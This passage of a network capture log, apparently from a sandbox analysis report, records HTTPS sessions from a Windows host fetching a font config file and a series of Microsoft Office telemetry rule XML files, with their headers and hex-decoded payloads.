20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703351" V="0" DC="SM" EN="Office.Telemetry.Event.Office.ScriptLab.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToken

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
117	192.168.2.6	49849	184.28.90.27	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 00:38:35 UTC	239	OUT	GET /fs/windows/config.json HTTP/1.1 Connection: Keep-Alive Accept: / Accept-Encoding: identity If-Unmodified-Since: Tue, 16 May 2017 22:58:00 GMT Range: bytes=0-2147483646 User-Agent: Microsoft BITS/7.8 Host: fs.microsoft.com
2024-11-17 00:38:35 UTC	514	IN	HTTP/1.1 200 OK ApiVersion: Distribute 1.1 Content-Disposition: attachment; filename=config.json; filename*=UTF-8''config.json Content-Type: application/octet-stream ETag: "0x64667F707FF07D62B733DBCB79EFE3855E6886C9975B0C0B467D46231B3FA5E7" Last-Modified: Tue, 16 May 2017 22:58:00 GMT Server: ECAcc (lpl/EF06) X-CID: 11 X-Ms-ApiVersion: Distribute 1.2 X-Ms-Region: prod-weu-z1 Cache-Control: public, max-age=58027 Date: Sun, 17 Nov 2024 00:38:35 GMT Content-Length: 55 Connection: close X-CID: 2
2024-11-17 00:38:35 UTC	55	IN	Data Raw: 7b 22 66 6f 6e 74 53 65 74 55 72 69 22 3a 22 66 6f 6e 74 73 65 74 2d 32 30 31 37 2d 30 34 2e 6a 73 6f 6e 22 2c 22 62 61 73 65 55 72 69 22 3a 22 66 6f 6e 74 73 22 7d Data Ascii: {"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

Session ID	Source IP	Source Port	Destination IP	Destination Port
118	192.168.2.6	49851	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 00:38:35 UTC	192	OUT	GET /rules/rule703350v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-17 00:38:35 UTC	515	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 00:38:35 GMT Content-Type: text/xml Content-Length: 1366 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:42 GMT ETag: "0x8DC582BDF1E2608" x-ms-request-id: 926299b0-201e-0096-47af-36ace6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241117T003835Z-16547b76f7fr5rfnhC1DFW0am4000000011g0000000088up x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-17 00:38:35 UTC	1366	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 33 35 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 63 72 69 70 74 4c 61 62 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 63 72 69 70 74 4c 61 62 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703350" V="0" DC="SM" EN="Office.Telemetry.Event.Office.ScriptLab" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenScriptLab" S="Medium" /> <F T="2

Session ID	Source IP	Source Port	Destination IP	Destination Port
119	192.168.2.6	49852	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 00:38:35 UTC	192	OUT	GET /rules/rule703501v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-17 00:38:35 UTC	515	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 00:38:35 GMT Content-Type: text/xml Content-Length: 1399 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:59 GMT ETag: "0x8DC582BE8C605FF" x-ms-request-id: 2374d1b0-301e-0020-6d09-376299000000 x-ms-version: 2018-03-28 x-azure-ref: 20241117T003835Z-16547b76f7fnlq8chC1DFWxnen00000003a0000000004prh x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-17 00:38:35 UTC	1399	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 35 30 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 61 6e 64 62 6f 78 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 61 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703501" V="0" DC="SM" EN="Office.Telemetry.Event.Office.Sandbox.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSa

Session ID	Source IP	Source Port	Destination IP	Destination Port
120	192.168.2.6	49853	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 00:38:35 UTC	192	OUT	GET /rules/rule703500v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-17 00:38:35 UTC	522	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 00:38:35 GMT Content-Type: text/xml Content-Length: 1362 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:43 GMT ETag: "0x8DC582BDF497570" x-ms-request-id: f0850b4c-401e-005b-0318-379c0c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241117T003835Z-164f84587bfdfkt7hC1DFW4fas00000001kg00000000aka7 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L2_T2 X-Cache: TCP_REMOTE_HIT Accept-Ranges: bytes
2024-11-17 00:38:35 UTC	1362	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 35 30 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 61 6e 64 62 6f 78 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 61 6e 64 62 6f 78 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703500" V="0" DC="SM" EN="Office.Telemetry.Event.Office.Sandbox" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSandbox" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
121	192.168.2.6	49854	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 00:38:35 UTC	192	OUT	GET /rules/rule701801v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-17 00:38:35 UTC	494	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 00:38:35 GMT Content-Type: text/xml Content-Length: 1403 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:38 GMT ETag: "0x8DC582BDC2EEE03" x-ms-request-id: 787388c3-601e-0070-268f-37a0c9000000 x-ms-version: 2018-03-28 x-azure-ref: 20241117T003835Z-164f84587bf7jb9dhC1DFWkay4000000033g00000000m2x3 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-17 00:38:35 UTC	1403	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 38 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 52 65 73 6f 75 72 63 65 73 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701801" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Resources.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToken

Session ID	Source IP	Source Port	Destination IP	Destination Port
122	192.168.2.6	49855	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 00:38:35 UTC	192	OUT	GET /rules/rule701800v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-17 00:38:36 UTC	515	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 00:38:35 GMT Content-Type: text/xml Content-Length: 1366 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:01 GMT ETag: "0x8DC582BEA414B16" x-ms-request-id: 1573d8a3-d01e-002b-769d-3725fb000000 x-ms-version: 2018-03-28 x-azure-ref: 20241117T003835Z-16547b76f7fk9g8vhC1DFW825400000004cg000000002u65 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-17 00:38:36 UTC	1366	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 38 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 52 65 73 6f 75 72 63 65 73 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 52 65 73 6f 75 72 63 65 73 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701800" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Resources" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenResources" S="Medium" /> <F T="2

Session ID	Source IP	Source Port	Destination IP	Destination Port
123	192.168.2.6	49856	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 00:38:36 UTC	192	OUT	GET /rules/rule701051v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-17 00:38:36 UTC	494	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 00:38:36 GMT Content-Type: text/xml Content-Length: 1399 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:47 GMT ETag: "0x8DC582BE1CC18CD" x-ms-request-id: f96acd97-a01e-000d-6d86-36d1ea000000 x-ms-version: 2018-03-28 x-azure-ref: 20241117T003836Z-164f84587bfjxw6fhC1DFWq94400000003p000000000dbwe x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-17 00:38:36 UTC	1399	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 30 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 52 65 6c 65 61 73 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 52 65 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701051" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Release.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenRe

Session ID	Source IP	Source Port	Destination IP	Destination Port
124	192.168.2.6	49857	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 00:38:36 UTC	192	OUT	GET /rules/rule701050v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-17 00:38:36 UTC	515	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 00:38:36 GMT Content-Type: text/xml Content-Length: 1362 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:03 GMT ETag: "0x8DC582BEB256F43" x-ms-request-id: bb729275-001e-0014-2109-375151000000 x-ms-version: 2018-03-28 x-azure-ref: 20241117T003836Z-16547b76f7ff9zf4hC1DFW2pfc000000011000000000t5k0 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-17 00:38:36 UTC	1362	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 30 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 52 65 6c 65 61 73 65 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 52 65 6c 65 61 73 65 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701050" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Release" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenRelease" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
125	192.168.2.6	49858	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 00:38:36 UTC	192	OUT	GET /rules/rule702751v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-17 00:38:36 UTC	515	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 00:38:36 GMT Content-Type: text/xml Content-Length: 1403 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:03 GMT ETag: "0x8DC582BEB866CDB" x-ms-request-id: 32a1e0c1-401e-0048-618a-370409000000 x-ms-version: 2018-03-28 x-azure-ref: 20241117T003836Z-164f84587bf7jb9dhC1DFWkay4000000032g00000000ngww x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-17 00:38:36 UTC	1403	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 37 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 75 62 6c 69 73 68 65 72 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702751" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Publisher.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToken

Session ID	Source IP	Source Port	Destination IP	Destination Port
126	192.168.2.6	49859	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 00:38:36 UTC	192	OUT	GET /rules/rule702750v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-17 00:38:36 UTC	515	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 00:38:36 GMT Content-Type: text/xml Content-Length: 1366 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:54 GMT ETag: "0x8DC582BE5B7B174" x-ms-request-id: 68acba38-501e-000a-677f-380180000000 x-ms-version: 2018-03-28 x-azure-ref: 20241117T003836Z-16547b76f7ftnm6xhC1DFW9c8c000000037g000000004ufg x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-17 00:38:36 UTC	1366	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 37 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 75 62 6c 69 73 68 65 72 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 75 62 6c 69 73 68 65 72 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702750" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Publisher" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenPublisher" S="Medium" /> <F T="2

Session ID	Source IP	Source Port	Destination IP	Destination Port
127	192.168.2.6	49860	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 00:38:36 UTC	192	OUT	GET /rules/rule702301v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-17 00:38:36 UTC	515	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 00:38:36 GMT Content-Type: text/xml Content-Length: 1399 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:00 GMT ETag: "0x8DC582BE976026E" x-ms-request-id: cfc1385c-801e-0083-58d2-37f0ae000000 x-ms-version: 2018-03-28 x-azure-ref: 20241117T003836Z-16547b76f7ftnm6xhC1DFW9c8c0000000360000000008b7v x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-17 00:38:36 UTC	1399	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 33 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 72 6f 6a 65 63 74 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 72 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702301" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Project.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenPr

Session ID	Source IP	Source Port	Destination IP	Destination Port
128	192.168.2.6	49861	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 00:38:37 UTC	192	OUT	GET /rules/rule702300v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-17 00:38:37 UTC	515	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 00:38:37 GMT Content-Type: text/xml Content-Length: 1362 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:37 GMT ETag: "0x8DC582BDC13EFEF" x-ms-request-id: d7b14c3d-501e-0047-0581-37ce6c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241117T003837Z-16547b76f7fw2955hC1DFWsptc000000044g0000000035kk x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-17 00:38:37 UTC	1362	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 33 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 72 6f 6a 65 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 72 6f 6a 65 63 74 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702300" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Project" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> 